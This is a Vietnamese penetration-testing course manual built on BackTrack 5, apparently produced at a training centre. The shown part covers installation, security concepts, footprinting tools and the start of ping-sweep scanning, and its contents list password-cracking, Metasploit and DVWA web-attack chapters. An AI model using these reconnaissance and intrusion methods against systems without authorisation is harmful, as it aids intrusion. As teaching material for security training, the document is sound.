2
LỜI MỞ ĐẦU
Đầu tiên, xin gởi lời cảm ơn chân thành đến thầy Võ Đỗ Thắng – Giám đốc
Trung tâm đào tạo và quản trị mạng – an ninh mạng Athena và thầy Lê Đình Nhân đã
nhiệt tình giúp đỡ để hoàn thành tài liệu này.
Cho gửi lời cảm ơn đến các anh chị nhân viên tư vấn – nhân viên hỗ trợ kỹ
thuật tại Trung tâm đào tạo và quản trị mạng Athena đã hỗ trợ và tạo điều kiện để hoàn
thành dự án an nin mạng đúng thời hạn được giao.
Trân trọng!
Nhóm thực hiện
Nguyễn Sơn Khê
Đỗ Tấn Phát
Nguyễn Cao Thắng
3
MỤC LỤC
Chương Mở Đầu : GIỚI THIỆU VỀ BACKTRACK 5 ..................................... 6
I. Giới thiệu ................................................................................................. 6
II. Mục đích .................................................................................................. 6
III. Nguồn tải Backtrack : .............................................................................. 7
IV. Cài đặt ...................................................................................................... 8
1. Live DVD ............................................................................................. 8
2. Install .................................................................................................... 8
Chương 1: TÌM HIỂU VẤN ĐỀ BẢO MẬT MẠNG LAN ............................ 16
I. Giới thiệu ............................................................................................... 16
II. Vấn đề bảo mật hệ thống và mạng ......................................................... 16
1. Các vấn dề chung về bảo mật hệ thống và mạng ............................... 16
2. Một số khái niệm và lịch sử bảo mật hệ thống ................................... 16
3. Các loại lỗ hổng bảo mật và phương thức tấn công mạng chủ yếu ... 17
Chương 2: FOOTPRINTING ........................................................................... 21
I. Giới thiệu về Footprinting ..................................................................... 21
II. Các bước thực hiện Footprinting ........................................................... 21
1. Xác định vùng hoạt đông của chúng ta .............................................. 21
2. Các thông tin có sẵn công khai ........................................................... 21
3. Whois và DNS Enumeration .............................................................. 21
4. Thăm dò DNS ..................................................................................... 22
5. Thăm dò mạng .................................................................................... 22
III. Phương pháp thực hiện Footprinting ..................................................... 22
IV. Các công cụ thực hiện Footprinting: ..................................................... 25
1. Sam Spade .......................................................................................... 25
2. Super Email Spider ............................................................................. 26
3. VitualRoute Trace .............................................................................. 27
4. Maltego ............................................................................................... 27
Chương 3: SCANNING ................................................................................... 28
4
I. Giới thiệu ............................................................................................... 28
II. Chứng năng ............................................................................................ 28
1. Xác định hệ thống có đang hoạt động hay không? ............................ 28
2. Xác định các dịch vụ đang chạy hoặc đang lắng nghe. ...................... 31
3. Xác định hệ điều hành ........................................................................ 37
Chương 4: ENUMERATION .......................................................................... 39
I. Enumeration là gì? ................................................................................. 39
II. Banner Grabbing .................................................................................... 39
III. Enumerating các dịch vụ mạng .............................................................. 39
1. Http fingerprinting .............................................................................. 39
2. DNS Enumeration .............................................................................. 42
3. Netbios name ...................................................................................... 44
Chương 5: PASSWORD CRACKING ............................................................ 45
I. Giới Thiệu .............................................................................................. 45
II. Các Kỹ Thuật Password Cracking ......................................................... 45
1. Dictionary Attacks/Hybrid Attacks .................................................... 45
2. Brute Forcing Attacks ........................................................................ 45
3. Syllable Attacks/Pre-Computed Hashes ............................................. 45
III. Các Kiểu Tấn Công Thường Gặp .......................................................... 45
1. Active Password Cracking ................................................................. 45
2. Passive Password Cracking ................................................................ 46
3. Offline Password Cracking ................................................................ 46
IV. Các công cụ Password Cracking ............................................................ 46
1. Hydra .................................................................................................. 46
2. Medusa ............................................................................................... 48
V. Password Cracking Trên Các Giao Thức .............................................. 51
1. HTTP (HyperText Tranfer Protocol) ................................................. 51
2. SSH (Secure Shell) ............................................................................. 58
3. SMB (Server Message Block) ............................................................ 61
4. RDP (Remote Desktop Protocol) ....................................................... 64
5
Chương 6: SYSTEM HACKING .................................................................... 67
I. GIỚI THIỆU VỀ METASPLOIT .......................................................... 67
1. Giới thiệu ............................................................................................ 67
2. Các thành phần của Metasploit .......................................................... 67
3. Sử dụng Metasploit Framework ......................................................... 67
4. Giới thiệu Payload Meterpreter .......................................................... 68
5. Cách phòng chống .............................................................................. 70
II. Lỗi MS10-046 (2286198) ...................................................................... 70
1. Giới thiệu ............................................................................................ 70
2. Các bước tấn công: ............................................................................. 71
3. Cách phòng chống .............................................................................. 79
III. Lỗi BYPASSUAC ................................................................................. 80
1. Giới thiệu ............................................................................................ 80
2. Các bước tấn công .............................................................................. 80
3. Cách phòng chống .............................................................................. 85
Chương 7: WEB HACKING VỚI DVWA ...................................................... 86
I. Giới thiệu ............................................................................................... 86
II. Hướng dẫn cài đặt DVWA trên Backtrack ............................................ 86
1. Tải và cài đặt XAMPP ........................................................................ 86
2. Tải và cài đặt DVWA ......................................................................... 88
III. Các kĩ thuật tấn công trên DVWA ......................................................... 92
1. XSS (Cross-Site Scripting) ................................................................. 92
2. SQL Injection ................................................................................... 100
TÀI LIỆU THAM KHẢO ................................................................................ 106
6
Chương Mở Đầu : GIỚI THIỆU VỀ BACKTRACK 5
I. Giới thiệu
Backtrack là một bản phân phối dạng Live DVD của Linux, được phát triển để thử
nghiệm thâm nhập. Trong các định dạng Live DVD, chúng ta sử dụng có thể
Backtrack trực tiếp từ đĩa DVD mà không cần cài nó vào máy của chúng ta. Backtrack
cũng có thể được cài đặt vào ổ cứng và sử dụng như một hệ điều hành. Backtrack là sự
hợp nhất giữa 3 bản phân phối khác nhau của Linux về thâm nhập thử nghiệm -
IWHAX, WHOPPIX, và Auditor. Trong phiên bản hiện tại của nó (5), Backtrack được
dựa trên phiên bản phân phối Linux Ubuntu 11.10. Tính đến ngày 19 tháng bảy năm
2010, Backtrack 5 đã được tải về của hơn 1,5 triệu người sử dụng. Phiên bản mới nhất
là Backtrack 5 R2
II. Mục đích
Công cụ Backtrack đã có lịch sử phát triển khá lâu qua nhiều bản linux khác
nhau. Phiên bản hiện nay sử dụng bản phân phối Slackware linux (Tomas M.
(www.slax.org)). Backtrack liên tục cập nhật các công cụ, drivers,... hiện tại Backtrack
có trên 300 công cụ phục vụ cho việc nghiên cứu bảo mật. Backtrack là sự kết hợp
giữa 2 bộ công cụ kiểm thử bảo mật rất nổi tiếng là Whax và Auditor.
Backtrack 5 chứa một số công cụ có thể được sử dụng trong quá trình thử
nghiệm thâm nhập của chúng ta. Các công cụ kiểm tra thâm nhập trong Backtrack 5,0
có thể được phân loại như sau:
Information gathering: loại này có chứa một số công cụ có thể được sử
dụng để có được thông tin liên quan đến một mục tiêu DNS, định tuyến, địa
chỉ e-mail, trang web, máy chủ mail, và như vậy. Thông tin này được thu
thập từ các thông tin có sẵn trên Internet, mà không cần chạm vào môi
trường mục tiêu.
Network mapping: loại này chứa các công cụ có thể được sử dụng để kiểm
tra các host đang tồn tại, thông tin về OS, ứng dụng được sử dụng bởi mục
tiêu, và cũng làm portscanning.
Vulnerability identification: Trong thể loại này, chúng ta có thể tìm thấy các
công cụ để quét các lỗ hổng (tổng hợp) và trong các thiết bị Cisco. Nó cũng
chứa các công cụ để thực hiện và phân tích Server Message Block (SMB) và
Simple Network Management Protocol (SNMP).
Web application analysis: loại này chứa các công cụ có thể được sử dụng
trong theo dõi, giám sát các ứng dụng web
7
Radio network analysis: Để kiểm tra mạng không dây, bluetooth và nhận
dạng tần số vô tuyến (RFID), chúng ta có thể sử dụng các công cụ trong thể
loại này.
Penetration: loại này chứa các công cụ có thể được sử dụng để khai thác các
lỗ hổng tìm thấy trong các máy tính mục tiêu
Privilege escalation: Sau khi khai thác các lỗ hổng và được truy cập vào các
máy tính mục tiêu, chúng ta có thể sử dụng các công cụ trong loại này để
nâng cao đặc quyền của chúng ta cho các đặc quyền cao nhất.
Maintaining access: Công cụ trong loại này sẽ có thể giúp chúng ta trong
việc duy trì quyền truy cập vào các máy tính mục tiêu. Chúng ta có thể cần
để có được những đặc quyền cao nhất trước khi các chúng ta có thể cài đặt
công cụ để duy trì quyền truy cập
Voice Over IP (VOIP): Để phân tích VOIP chúng ta có thể sử dụng các công
cụ trong thể loại này
Digital forensics: Trong loại này, chúng ta có thể tìm thấy một số công cụ có
thể được sử dụng để làm phân tích kỹ thuật như có được hình ảnh đĩa cứng,
cấu trúc các tập tin, và phân tích hình ảnh đĩa cứng. Để sử dụng các công cụ
cung cấp trong thể loại này, chúng ta có thể chọn Start Backtrack Forensics
trong trình đơn khởi động. Đôi khi sẽ đòi hỏi chúng ta phải gắn kết nội bộ đĩa
cứng và các tập tin trao đổi trong chế độ chỉ đọc để bảo tồn tính toàn vẹn.
Reverse engineering: Thể loại này chứa các công cụ có thể được sử dụng để
gỡ rối chương trình một hoặc tháo rời một tập tin thực thi.
III. Nguồn tải Backtrack :
Chúng ta có thể tải bản Backtrack 5 tại địa chỉ: www.backtrack-linux.org/downloads/
Có bản cho Vmware và file ISO
8
IV. Cài đặt
1. Live DVD
Nếu chúng ta muốn sử dụng Backtrack mà không cần cài nó vào ổ cứng, chúng
ta có thể ghi tập tin ảnh ISO vào đĩa DVD, và khởi động máy tính của chúng ta với
DVD. Backtrack sau đó sẽ chạy từ đĩa DVD. Lợi thế của việc sử dụng Backtrack là
một DVD Live là nó là rất dễ dàng để làm và chúng ta không cần phải gây rối với cấu
hình máy hiện tại của chúng ta.
Tuy nhiên, phương pháp này cũng có một số nhược điểm. Backtrack có thể
không làm việc với phần cứng, và thay đổi cấu hình nào được thực hiện trên phần
cứng để làm việc sẽ không được lưu với đĩa DVD Live. Ngoài ra, nó là chậm, vì máy
tính cần phải tải các chương trình từ đĩa DVD.
2. Install
a) Cài đặt trong máy thật:
Chúng ta cần chuẩn bị một phân vùng để cài đặt Backtrack. Sau đó chạy
Backtrack Live DVD. Khi gặp màn hình login
Ta sử dụng username là root, pass là toor. Sau đó để vào chế độ đồ họa, ta gõ
startx và ta sẽ vào chế độ đồ họa của Backtrack 5.
Để cài đặt Backtrack 5 đến đĩa cứng ta chọn tập tin có tên install.sh trên desktop
và tiến hành cài đặt. Tuy nhiên, nếu không thể tìm thấy tập tin, chúng ta có thể sử dụng
ubiquity để cài đặt. Để sử dụng ubiquity, ta mở Terminal gõ ubiquity.
9
Sau đó cửa sổ cài đặt sẽ hiển thị. Sau đó trả lời 1 số câu hỏi như thành phố chúng ta
đang sống, keyboard layout, phân vùng ổ đĩa cài đặt,… Sau đó tiến hành cài đặt.
b) Cài đặt trong máy ảo:
Điểm thuận lợi là ta không cần chuẩn bị một phân vùng cho Backtrack, và sử
dụng đồng thời một OS khác. Khuyết điểm là tốc độ chậm, không dùng được wireless
trừ USB wireless.
Ta có thể có thể sử dụng file VMWare được cung cấp bởi BackTrack. Từ đây
chúng ta có BackTrack trên máy ảo thật dễ dàng và nhanh chóng. Cấu hình trong file
VMWare là memory 768MB, hardisk :30GB, Network:NAT. Để sử dụng được card
mạng thật, ta phải chọn Netword là Briged
Dưới đây làm một số hình ảnh khi cài BackTrack trên máy ảo VMWare
Tạo một máy ảo mới và cho đia BackTrack vào.
11
Gõ startx để vào chế độ đồ họa trong BackTrack
Để cài đặt, click chọn vào file Install BackTrack trên màn hình Desktop
16
Chương 1: TÌM HIỂU VẤN ĐỀ BẢO MẬT MẠNG LAN
I. Giới thiệu
An ninh an toàn mạng máy tính hoàn toàn là vấn đề con người, do đó việc đưa
ra mộthành lang pháp lý và các quy nguyên tắc làm việc cụ thể là cần thiết. Ở đây,
hànhlang pháp lý có thể gồm: các điều khoản trong bộ luật của nhà nước, các văn
bảndưới luật,... Còn các quy định có thể do từng tổ chức đặt ra cho phù hợp với
từngđặc điểm riêng. Các quy định có thể như: quy định về nhân sự, việc sử dụng
máy,sử dụng phần mềm,... Và như vậy, sẽ hiệu quả nhất trong việc đảm bảo an ninh
antoàn cho hệ thống mạng máy tính một khi ta thực hiện triệt để giải pháp về
chínhsách con người.Tóm lại, vấn đề an ninh an toàn mạng máy tính là một vấn đề
lớn, nó yêucầu cần phải có một giải pháp tổng thể, không chỉ phần mềm, phần cứng
máy tínhmà nó đòi hỏi cả vấn đề chính sách về con người. Và vấn đề này cần phải
đượcthực hiện một cách thường xuyên liên tục, không bao giờ triệt để được vì nó
luônnảy sinh theo thời gian. Tuy nhiên, bằng các giải pháp tổng thể hợp lý, đặc biệt
làgiải quyết tốt vấn đề chính sách về con người ta có thể tạo ra cho mình sự an
toànchắc chắn hơn.
II. Vấn đề bảo mật hệ thống và mạng
1. Các vấn dề chung về bảo mật hệ thống và mạng
Đặc điểm chung của một hệ thống mạng là có nhiều người sử dụng chung
và phân tán về mặt địa lý nên việc bảo vệ tài nguyên (mất mát hoặc sử dụng không
hợp lệ) phức tạp hơn nhiều so với việc môi trường một máy tính đơn lẻ, hoặc
mộtngười sử dụng.Hoạt động của người quản trị hệ thống mạng phải đảm bảo các
thông tin trênmạng là tin cậy và sử dụng đúng mục đích, đối tượng đồng thời đảm bảo
mạng hoạtđộng ổn định không bị tấn công bởi những kẻ phá hoại. Nhưng trên thực tế
là không một mạng nào đảm bảo là an toàn tuyệt đối, mộthệ thống dù được bảo vệ
chắc chắn đến mức nào thì cũng có lúc bị vô hiệu hóa bởinhững kẻ có ý đồ xấu.
2. Một số khái niệm và lịch sử bảo mật hệ thống
a) Đối tượng tấn công mạng (intruder)
Đối tượng là những cá nhân hoặc tổ chức sử dụng những kiến thức về
mạngvà các công cụ phá hoại (gồm phần cứng hoặc phần mềm) để dò tìm các điểm
yếuvà các lỗ hổng bảo mật trên hệ thống, thực hiện các hoạt động xâm nhập và
chiếmđoạt tài nguyên trái phép.Một số đối tượng tấn công mạng như:Hacker: là những
kẻ xâm nhập vào mạng trái phép bằng cách sử dụng cáccông cụ phá mật khẩu hoặc
khai thác các điểm yếu của thành phần truy nhập trên hệthốngMasquerader : Là những
17
kẻ giả mạo thông tin trên mạng như giả mạo địa chỉIP, tên miền, định danh người
dùng…Eavesdropping: Là những đối tượng nghe trộm thông tin trên mạng, sử
dụngcác công cụ Sniffer, sau đó dùng các công cụ phân tích và debug để lấy được
cácthông tin có giá trị. Những đối tượng tấn công mạng có thể nhằm nhiều mục đích
khác nhau nhưăn cắp các thông tin có giá trị về kinh tế, phá hoại hệ thống mạng có chủ
định, hoặccó thể đó là những hành động vô ý thức…
b) Các lỗ hổng bảo mật
Các lỗ hổng bảo mật là những điểm yếu trên hệ thống hoặc ẩn chứa
trongmột dịch vụ mà dựa vào đó kẻ tấn công có thể xâm nhập trái phép vào hệ thống
đểthực hiện những hành động phá hoại chiếm đoạt tài nguyên bất hợp pháp.Có nhiều
nguyên nhân gây ra những lỗ hổng bảo mật: có thể do lỗi của bảnthân hệ thống, hoặc
phần mềm cung cấp hoặc người quản trị yếu kém không hiểusâu về các dịch vụ cung
cấp…Mức độ ảnh hưởng của các lỗ hổng tới hệ thống là khác nhau. Có lỗ hổngchỉ ảnh
hưởng tới chất lượng dịch vụ cung cấp, có lỗ hổng ảnh hưởng tới toàn bộ hệthống hoặc
phá hủy hệ thống
c) Chính sách bảo mật
Chính sách bảo mật là tập hợp các quy tắc áp dụng cho những người
thamgia quản trị mạng, có sử dụng các tài nguyên và các dịch vụ mạng.
Đối với từng trường hợp phải có chính sách bảo mật khác nhau. Chính
sách bảo mật giúp người sử dụng biết trách nhiệm của mình trong việc
bảo vệ các tàinguyên trên mạng, đồng thời còn giúp cho nhà quản trị mạng thiết lập
các biên phápđảm bảo hữu hiệu trong quá trình trang bị, cấu hình và kiểm soát hoạt
động của hệthống và mạng.
3. Các loại lỗ hổng bảo mật và phương thức tấn công mạng chủ yếu
a) Các loại lỗ hổng
Có nhiều các tổ chức đã tiến hành phân loại các dạng lỗ hổng đặc biệt.
Theo bộ quốc phòng Mỹ các loại lỗ hổng được phân làm ba loại như sau:
Lỗ hổng loại C
Cho phép thực hiện các hình thức tấn công theo DoS(Denial of Services- Từ
chối dịch vụ) Mức độ nguy hiểm thấp chỉ ảnh hưởng tớichất lượng dịch vụ, làm ngưng
trệ, gián đoạn hệ thống, không làm phá hỏng dữ liệuhoặc đạt được quyền truy cập bất
hợp pháp.DoS là hình thức tấn công sử dụng các giao thức ở tầng Internet trong bộgiao
thức TCP/IP để làm hệ thống ngưng trệ dẫn đến tình trạng từ chối người sửdụng hợp
pháp truy nhập hay sử dụng hệ thống.Các dịch vụ có lỗ hổng cho phép các cuộc tấn
công DoS có thể được nângcấp hoặc sửa chữa bằng các phiên bản mới hơn của các nhà
18
cung cấp dịch vụ. Hiệnnay chưa có một biện pháp hữu hiệu nào để khắc phục tình
trạng tấn công kiểu nàyvì bản thân thiết kế ở tầng Internet (IP) nói riêng và bộ giao
thức TCP/IP nói chungđã ẩn chứa những nguy cơ tiềm tang của các lỗ hổng loại này.
Lỗ hổng loại B:
Cho phép người sử dụng có thêm các quyền trên hệ thống mà không cần kiểm
tra tính hợp lệ dẫn đến mất mát thông tin yêu cầu cần bảo mật.Lỗ hổng này thường có
trong các ứng dụng trên hệ thống . Có mức độ nguy hiểm là trung bình.Lỗ hổng loại B
này có mức độ nguy hiểm hơn lỗ hổng loại C. Cho phépngười sử dụng nội bộ có thể
chiếm được quyền cao hơn hoặc truy nhậpkhônghợp pháp.
Những lỗ hổng loại này thường xuất hiện trong các dịch vụ trên hệ thống. Ngườ
sử dụng local được hiểu là người đã có quyền truy nhập vào hệ thống vớimột số quyền
hạn nhất định. Tìm hiểu vấn đề bảo mật mạng LAN. Một dạng khác của lỗ hổng loại B
xảy ra với các chương trình viết bằng mã nguồn C. Những chương trình viết bằng mã
nguồn C thường sử dụng một vùngđệm, một vùng trong bộ nhớ sử dụng để lưu trữ dữ
liệu trước khi xử lý. Người lậptrình thường sử dụng vùng đệm trong bộ nhớ trước khi
gán một khoảng không gian bộ nhớ cho từng khối dữ liệu. Ví dụ khi viết chương trình
nhập trường tên người sửdụng quy định trường này dài 20 ký tự bằng khai báo:Char
first_name [20]; Khai báo này cho phép người sử dụng nhập tối đa 20ký tự. Khi nhập
dữ liệu ban đầu dữ liệu được lưu ở vùng đệm. Khi người sử dụngnhập nhiều hơn 20 ký
tự sẽ tràn vùng đệm. Những ký tự nhập thừa sẽ nằm ngoàivùng đệm khiến ta không thể
kiểm soát được. Nhưng đối với những kẻ tấn côngchúng có thể lợi dụng những lỗ hổng
này để nhập vào những ký tự đặc biệt để thựcthi một số lệnh đặc biệt trên hệ thống.
Thông thường những lỗ hổng này được lợidụng bởi những người sử dụng trên hệ
thống để đạt được quyền root không hợp lệ.Để hạn chế được các lỗ hổng loại B phải
kiêm soát chặt chẽ cấu hình hệ thống vàcác chương trình.
Lỗ hổng loại A
Cho phép người ngoài hệ thống có thể truy cập bất hợp phápvào hệ thống. Có
thể làm phá huỷ toàn bộ hệ thống. Loại lỗ hổng này có mức độ rấtnguy hiểm đe dọa
tính toàn vẹn và bảo mật của hệ thống. Các lỗ hổng này thườngxuất hiện ở những hệ
thống quản trị yếu kém hoặc không kiểm soát được cấu hìnhmạng. Những lỗ hổng loại
này hết sức nguy hiểm vì nó đã tồn tại sẵn có trên phầnmềm sử dụng, người quản trị
nếu không hiểu sâu về dịch vụ và phần mềm sử dụngcó thể bỏ qua điểm yếu này. Vì
vậy thường xuyên phải kiểm tra các thông báo củacác nhóm tin về bảo mật trên mạng
để phát hiện những lỗ hổng loại này. Một loạtcác chương trình phiên bản cũ thường sử
dụng có những lỗ hổng loại A như: FTP,Gopher, Telnet, Sendmail, ARP, finger.
19
b) Các hình thức tấn công mạng phổ biến
Scanner
Scanner là một chương trình tự động rà soát và phát hiện những điểm yếu về
bảo mật trên một trạm làm việc cục bộ hoặc một trạm ở xa. Một kẻ phá hoại sử dụng
chương trình Scanner có thể phát hiện ra những lỗ hổng về bảo mật trên mộtServer dù
ở xa.Cơ chế hoạt động là rà soát và phát hiện những cổng TCP/UDP được sử dụng trên
hệ thống cần tấn công và các dịch vụ sử dụng trên hệ thống đó. Scanner ghi lại những
đáp ứng trên hệ thống từ xa tương ứng với dịch vụ mà nó phát hiệnra. Từ đó nó có thể
tìm ra điêm yếu của hệ thống. Những yếu tố để một Scanner hoạt động như sau:Yêu
cầu thiết bị và hệ thống: Môi trường có hỗ trợ TCP/IPHệ thống phải kết nối vào mạng
Internet.Các chương trình Scanner có vai trò quan trọng trong một hệ thống bảo mật,vì
chúng có khả năng phát hiện ra những điểm yếu kém trên một hệ thống mạng.
Password Cracker
Là một chương trình có khả năng giải mã một mật khẩu đã được mã hoáhoặc có
thể vô hiệu hoá chức năng bảo vệ mật khẩu của một hệ thống.Một số chương trình phá
khoá có nguyên tắc hoạt động khác nhau. Một sốchương trình tạo ra danh sách các từ
giới hạn, áp dụng một số thuật toán mã hoá từ kết quả so sánh với Password đã mã hoá
cần bẻ khoá để tạo ra một danh sách kháctheo một logic của chương trình.Khi thấy
phù hợp với mật khẩu đã mã hoá, kẻ phá hoại đã có được mật khẩudưới dạng text .
Mật khẩu text thông thường sẽ được ghi vào một file.Biện pháp khắc phục đối với
cách thức phá hoại này là cần xây dựng mộtchính sách bảo vệ mật khẩu đúng đắn.
Sniffer
Sniffer là các công cụ (phần cứng hoặc phần mềm)”bắt ”các thông tin
lưuchuyển trên mạng và lấy các thông tin có giá trị trao đổi trên mạng.Sniffer có thể
“bắt” được các thông tin trao đổi giữa nhiều trạm làm việc vớinhau. Thực hiện bắt các
gói tin từ tầng IP trở xuống. Giao thức ở tầng IP được địnhnghĩa công khai, và cấu trúc
các trường header rõ ràng, nên việc giải mã các gói tin này không khó khăn.
Mục đích của các chương trình sniffer đó là thiết lập chế độ promiscuous(mode
dùng chung) trên các card mạng ethernet - nơi các gói tin trao đổi trongmạng - từ đó
"bắt" được thông tin.Các thiết bị sniffer có thể bắt được toàn bộ thông tin trao đổi trên
mạng làdựa vào nguyên tắc broadcast (quảng bá) các gọi tin trong mạng Ethernet.Tuy
nhiên việc thiết lập một hệ thống sniffer không phải đơn giản vì cần phải xâm nhập
được vào hệ thống mạng đó và cài đặt các phần mềm sniffer.Đồng thời các chương
trình sniffer cũng yêu cầu người sử dụng phải hiểusâu về kiến trúc, các giao thức
mạng.Việc phát hiện hệ thống bị sniffer không phải đơn giản, vì sniffer hoạt độngở
tầng rất thấp, và không ảnh hưởng tới các ứng dụng cũng như các dịch vụ hệthống đó
20
cung cấp.Tuy nhiên việc xây dựng các biện pháp hạn chế sniffer cũng không quá
khókhăn nếu ta tuân thủ các nguyên tắc về bảo mật như:
Không cho người lạ truy nhập vào các thiết bị trên hệ thống
Quản lý cấu hình hệ thống chặt chẽ
Thiết lập các kết nối có tính bảo mật cao thông qua các cơ chế mã hoá.
Trojans
Trojans là một chương trình chạy không hợp lệ trên một hệ thống. Với vaitrò
như một chương trình hợp pháp. Trojans này có thể chạy được là do các chươngtrình
hợp pháp đã bị thay đổi mã của nó thành mã bất hợp pháp.Ví dụ như các chương trình
virus là loại điển hình của Trojans. Nhữngchương trình virus thường che dấu các đoạn
mã trong các chương trình sử dụng hợp pháp. Khi những chương trình này được kích
hoạt thì những đoạn mã ẩn dấu sẽthực thi và chúng thực hiện một số chức năng mà
người sử dụng không biết như: ăncắp mật khẩu hoặc copy file mà người sử dụng như
ta thường không hay biết.Một chương trình Trojans sẽ thực hiện một trong những công
việc sau:
Thực hiện một vài chức năng hoặc giúp người lập trình lên nó phát hiệnnhững
thông tin quan trọng hoặc những thông tin cá nhân trên một hệ thống hoặcchỉ trên một
vài thành phần của hệ thống đó.
Che dấu một vài chức năng hoặc là giúp người lập trình phát hiện nhữngthông
tin quan trọng hoặc những thông tin cá nhân trên một hệ thống hoặc chỉ trênmột vài
thành phần của hệ thống. Ngoài ra còn có các chương trình Trojan có thể thực hiện
đựợc cả hai chức năngnày. Có chương trình Trojan còn có thể phá hủy hệ thống bằng
cách phá hoại cácthông tin trên ổ cứng. Nhưng ngày nay các Trojans kiểu này dễ dàng
bị phát hiện vàkhó phát huy được tác dụng.Tuy nhiên có những trường hợp nghiêm
trọng hơn những kẻ tấn công tạo ranhững lỗ hổng bảo mật thông qua Trojans và kẻ tấn
công lấy được quyền root trênhệ thống và lợi dụng quyền đó để phá hủy một phần
hoặc toàn bộ hệ thống hoặcdùng quyền root để thay đổi logfile, cài đặt các chương
trình trojans khác mà ngườiquản trị không thể phát hiện được gây ra mức độ ảnh
hưởng rất nghiêm trọng vàngười quản trị chỉ còn cách cài đặt lại toàn bộ hệ thống.
21
Chương 2: FOOTPRINTING
I. Giới thiệu về Footprinting
Là một kỹ thuật tìm kiếm thông tin về một danh nghiệp, cá nhân hay tổ
chức.
Một trong 3 giai đoạn cần phải làm để thực hiện một cuộc tấn công.
Một kẻ tấn công dành 90% để thực hiện việc thu thập và tiềm kiếm
thông tin và 10% để thực hiện tấn công.
Kết quả của quá trình Footprinting là lấy được thông tin cơ bản của mục
tiêu tấn công: Tên, đỉa chỉ công ty, website, các thành viên trong công ty,
sơ đồ mạng,…
Các thông tin cần tìm kiếm:
Internet: Domain, Network blocks, IP, TCP hay UDP, System
Enumeration, ACLs, IDSes,…
Intranet
Remote access: Remote system type,…
Extranet: Connection origination and destination,…
II. Các bước thực hiện Footprinting
Bao gồm các bước sau:
1. Xác định vùng hoạt đông của chúng ta
Thứ đầu tiên trong kinh doanh là để xác định vùng hoạt động của các hoạt động
footprinting của chúng ta. Nó có thể là một nhiệm vụ nản lòng để xác định tất cả các
thực thể trong một tổ chức nào đó. Tuy nhiên, hacker chẳng thông cảm cho cuộc chiến
của chúng ta. Họ khai thác các điểm yếu trong bất cứ các biểu mẫu nào. Chúng ta
không muốn hacker biết nhiều về tình trạng bảo mật của chúng ta.
2. Các thông tin có sẵn công khai
Lượng thông tin mà nó sẵn sàng sẵn có cho chúng ta, tổ chức chúng ta và bất cứ
những gì chúng ta có thể hình dung thì chẳng là gì thiếu tính tuyệt vời.
Những thông tin có thể bao gồm: trang web của công ty; các tổ chức quan hệ; vị
trí tọa lạc; thông tin chi tiết vê nhân viên; các sự kiện hiện tại; các chính sách bảo mật
và sự riêng tư….
3. Whois và DNS Enumeration
Xem chi tiết thông tin về địa chỉ IP, name server, dns server…
22
4. Thăm dò DNS
Sau khi xác định tất cả các domain có liên quan, chúng ta bắt đầu truy vấn
DNS. DNS là một cơ sở dữ liệu phân tán dùng để ánh xạ các địa chỉ IP thành
hostname. Nếu DNS không được cấu hình một cách bảo mật, rất có khả năng lấy được
các thông tin bi lộ từ tổ chức.
5. Thăm dò mạng
Bây giờ thì chúng ta đã xác định được các mạng tiềm năng, chúng ta có thể xác
định mô hình mạng cũng như đường truy cập có khả năng vào mạng
III. Phương pháp thực hiện Footprinting
Có 2 phương pháp thực Footprinting:
Active Footprinting: liên hệ trực tiếp với mục tiêu, tìm hiễu thông tin
cần thiết
Passive Footprinting: Tìm kiếm thông qua các bài báo, trang web,
hoặc từ các đối thủ mục tiêu,…
Website: www.google.com ,
http://whois.domaintools.comwww.whois.net , www.tenmien.vn ,
www.arcchive.org ,…
25
Archive: http://www.microsoft.com
IV. Các công cụ thực hiện Footprinting:
Sam Spade, Super email spider, VitualRoute Trace, Google Earth, Whois, Site
Digger, Maltego,…
1. Sam Spade
Cho phép người sử dụng có thể thực hiện các hành động: Ping, Nslookup,
Whois, Traceroute,…
26
2. Super Email Spider
Tìm kiếm thông tin về địa chỉ email của cơ quan tổ chức sử dụng Search
Engine: Google, Lycos, iWon, Exiter, Hotbot, MSN, AOL,…
27
3. VitualRoute Trace
Hiện thị các đường nối kết, địa chỉ, khu vực đường kết nối đi qua.
4. Maltego
Là công cụ dùng để phát hiện các liên kết giữa: Người sử dụng, cơ quan, tổ
chức, website, domain, dải mạng, địa chỉ IP,…
28
Chương 3: SCANNING
I. Giới thiệu
Nếu footprinting là việc xác định nguồn thông tin đang ở đâu thì scanning là
việc tìm ra tất cả các cánh cửa để xâm nhập vào nguồn thông tin đó. Trong quá trình
footprinting, chúng ta đã đạt được danh sách dãy mạng IP và địa chỉ IP thông qua
nhiều kỹ thuật khác nhau bao gồm whois và truy vấn ARIN. Kỹ thuật này cung cấp
cho nhà quản trị bảo mật cũng như hacker nhiều thông tin co giá trị về mạng đích, dãy
IP, DNS servers và mail servers. Trong chương này, chúng ta sẽ xác định xem hệ
thống nào đang lắng nghe trên giao thông mạng và có thể bắt được qua việc sử dụng
nhiều công cụ và kỹ thuật như ping sweeps, port scan. Chúng ta có thể dễ dàng vượt
tường lửa bằng tay (bypass firewalls) để scan các hệ thống giả sử như nó đang bị khóa
bới chính sách trích lọc (filtering rules).
II. Chứng năng
1. Xác định hệ thống có đang hoạt động hay không?
Một trong những bước cớ bản lập ra một mạng nào đó là ping sweep trên một
dãy mạng và IP để xác định các thiết bị hoặc hệ thống có đang hoạt động hay không.
Ping thường được dùng để gửi các gói tin ICMP ECHO tới hệ thống đích và cố gắng
nhận được một ICMP ECHO REPLY để biết hệ thống đó đang hoạt động. Ping có thể
được chấp nhận để xác định số lượng hệ thống còn sống có trong mạng trong mạng
vứa và nhỏ ( Lớp C có 254 và B có 65534 địa chỉ) và chúng ta có thể mất hàng giờ,
hàng ngày để hoàn thành cho nhánh mạng lớp A 16277214 địa chỉ.
a) Netword Ping Sweeps
Netword pinging là hành động gửi các loại của giao thông mạng tới đích và
phân tích kết quả. Pinging sử dụng ICMP (Internet Control Message Protocol). Ngoài
ra, nó còn sử dụng TCP hoặc UDP để tìm host còn sống.
Để thực hiện ICMP ping sweep, ta có thể sử dụng fping, nmap,….
Fping –a –g 192.168.10.1 192.168.10.10
-a hiện thi host đang sống: alive
-g dãy địa chỉ: 192.168.10.0/24 or như trên
30
Phòng chống: chúng ta có thể dùng pingd giữ tất cả các giao thông mạng
ICMP ECHO và ICMP ECHO REPLY ở cấp độ host. Điểm này đạt
được bằng cách gỡ bỏ sự hỗ trợ của việc xử lý ICMP ECHO từ nhân hệ
thống. Về mặt cơ bản, nó cung cấp một cơ chế điều khiển truy cập ở mức
độ hệ thống.
b) ICMP query
Ping sweeps (or ICMP ECHO packets) có thể nói chỉ là đỉnh đầu của tảng
